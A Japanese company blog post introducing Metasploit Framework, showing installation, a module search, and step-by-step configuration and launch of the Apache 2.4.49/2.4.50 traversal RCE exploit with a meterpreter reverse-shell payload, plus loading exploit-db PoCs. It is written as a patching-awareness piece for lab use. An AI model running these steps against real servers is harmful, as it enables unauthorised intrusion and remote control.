【入門】Metasploit Framework【ペネトレーションテスト用】
こんにちは。
システムソリューション部のインフラわっしょいマンです。
過去に書いた記事はこちら
Metasploit Framework という有名なオープンソースのソフトがあります。
ミドルウェアなどの脆弱性を実際に突いて、セキュリティの耐久性を評価する「ペネトレーションテスト」に使用するツールです。
今回は上記ツールを使用できる環境を用意してみようと思います。
このようなツールをみてみると、脆弱性を抱えたバージョンを使い続ける危険性がなんとなくわかるかと思いますので、それを知っていただくことが本記事の目的となります。
※ ペネトレーションツールですが、必ず自分で用意した検証環境などで使用してください。
悪用は犯罪ですので、ご利用は自己責任でお願いいたします。
Metasploit Framework インストール
環境はいつものごとく、CentOS7 の bento box で用意しました。
早速ですが、ドキュメントに従ってツールをインストールしていきます。
[root@localhost ~]# curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall [root@localhost ~]# chmod 755 msfinstall [root@localhost ~]# ./msfinstall
インストール後は下記で起動できます。
実行してみるとインタラクティブなシェルが表示されました。
[root@localhost ~]# /opt/metasploit-framework/bin/msfconsole ・ ・ 省略 ・ msf6 >
簡単でした。
ためしてみる
search コマンドを使用するとツール内にすでに用意されている脆弱性を確認できます。
まずは Apache の脆弱性について探してみましょう。
msf6 > search httpd Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/linux/http/alcatel_omnipcx_mastercgi_exec 2007-09-09 manual No Alcatel-Lucent OmniPCX Enterprise masterCGI Arbitrary Command Execution 1 exploit/multi/http/apache_normalize_path_rce 2021-05-10 excellent Yes Apache 2.4.49/2.4.50 Traversal RCE 2 auxiliary/scanner/http/apache_normalize_path 2021-05-10 normal No Apache 2.4.49/2.4.50 Traversal RCE scanner 3 auxiliary/scanner/http/mod_negotiation_brute normal No Apache HTTPD mod_negotiation Filename Bruter 4 auxiliary/scanner/http/mod_negotiation_scanner normal No Apache HTTPD mod_negotiation Scanner 5 exploit/windows/http/apache_chunked 2002-06-19 good Yes Apache Win32 Chunked Encoding 6 exploit/linux/http/dlink_dspw110_cookie_noauth_exec 2015-06-12 normal Yes D-Link Cookie Command Execution ・ ・ ・
ずらずらっと 20 余りリストが出てきました。
適当に上の方にある「exploit/multi/http/apache_normalize_path_rce」を題材にしてみます。
こちらの脆弱性ですが、ドキュメントルート外のファイルが「require all denied」によって保護されておらず、CGI が明示的に有効になっている場合にリモートコマンド実行が可能になるというものです。
該当の脆弱性を use コマンドで選択します。
msf6 > use exploit/multi/http/apache_normalize_path_rce # このような表示になれば OK msf6 exploit(multi/http/apache_normalize_path_rce) >
脆弱性ごとに入力が必要なオプションが異なるので show options コマンドで確認します。
実際に見てみましょう。
msf6 exploit(multi/http/apache_normalize_path_rce) > show options Module options (exploit/multi/http/apache_normalize_path_rce): Name Current Setting Required Description ---- --------------- -------- ----------- CVE CVE-2021-42013 yes The vulnerability to use (Accepted: CVE-2021-41773, CVE-2021-42013) DEPTH 5 yes Depth for Path Traversal Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-met asploit.html RPORT 443 yes The target port (TCP) SSL true no Negotiate SSL/TLS for outgoing connections TARGETURI /cgi-bin yes Base path VHOST no HTTP server virtual host Payload options (linux/x64/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Automatic (Dropper)
Required の欄が yes になっているものについてはオプション入力が必須です。
その中で、「RHOSTS(ターゲットの IP)」と「LHOST(攻撃側の IP)」が必須かつ空欄となっております。(他はデフォルト値が入っています。)
こう言った項目に関しては手動で埋める必要があります。
# IP は適当です。 msf6 exploit(multi/http/apache_normalize_path_rce) > set RHOST 192.168.1.1 RHOST => 192.168.1.1 msf6 exploit(multi/http/apache_normalize_path_rce) > set LHOST 192.168.1.2 LHOST => 192.168.1.2
あとは実行するだけです。
msf6 exploit(multi/http/apache_normalize_path_rce) > exploit
脆弱性コードを外部から取ってきて実行する
脆弱性に対する攻撃コードはその実証のため、公開されています。(PoC と言います)
そのため、それを利用することですぐに試験することが可能です。
今回は Kali-Linux で有名な Offensive Security が提供している下記サイトから引っ張ってきます。
https://www.exploit-db.com/
対象ページのダウンロードボタンをクリックすると PoC コードを入手できます。
ここからローカルへダウンロードしたコードを Metasploit の modules/exploit ディレクトリ配下へコピーします。
私の環境では下記のパスのようでした
/opt/metasploit-framework/embedded/framework/modules/exploits
配置したらリロードが必要です。
[root@localhost exploits]# /opt/metasploit-framework/bin/msfconsole msf6 > reload_all
Metasploit 自体が Ruby で書かれている都合上、モジュールも Ruby でないとだめかと思ったのですが、Python や Golang でも良いようです。
まとめ
はい、やばさがわかりましたでしょうか。
特許と同じく、世間に存在を認めてもらうには中身を公開しないといけない関係上、悪意のある人間にも脆弱性は手軽に試されてしまいます。
そのため、古いバージョンのツールを使い続けるのは危険です。
当然の話ですが、アップデートは継続的にしっかりと行いましょう。
(という啓蒙活動でした。おわり。)